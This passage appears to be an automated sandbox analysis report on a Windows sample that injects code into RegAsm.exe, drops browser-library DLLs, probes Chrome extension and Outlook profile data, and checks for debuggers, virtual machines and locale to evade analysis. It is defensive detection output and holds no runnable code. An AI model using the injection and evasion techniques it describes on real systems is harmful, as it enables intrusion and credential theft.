Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.1877795074.000000006C3CD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.3.dr, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.3.dr, vcruntime140[1].dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.3.dr, msvcp140.dll.3.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.1877795074.000000006C3CD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.3.dr, softokn3.dll.3.dr
Source:	Binary string: c:\rje\tg\\obj\Release\Qrr.pdb source: file.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00419860

Source: mozglue[1].dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.3.dr	Static PE information: section name: .didat
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041B035 push ecx; ret		3_2_0041B048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C38B536 push ecx; ret		3_2_6C38B549

Source: file.exe

Static PE information: section name: .text entropy: 7.994829103320085

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00419860

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_3-81437

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2790000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.6 %

Source: C:\Users\user\Desktop\file.exe TID: 7360

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	3_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040DE10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00401160 GetSystemInfo,ExitProcess,

3_2_00401160

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.000000000151D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-82600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-81425
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-81436
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-81444
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-81422
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-81265
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-81465

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_0041AD48

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

3_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00419860

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419750 mov eax, dword ptr fs:[00000030h]

3_2_00419750

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

3_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041CEEA SetUnhandledExceptionFilter,	3_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041B33A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C38B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6C38B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C38B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C38B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C53AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C53AC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7420, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0294212D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0294212D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

3_2_00419600

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 117D008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6C38B341 cpuid

3_2_6C38B341

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

3_2_00417B90

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

3_2_00416920

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

3_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

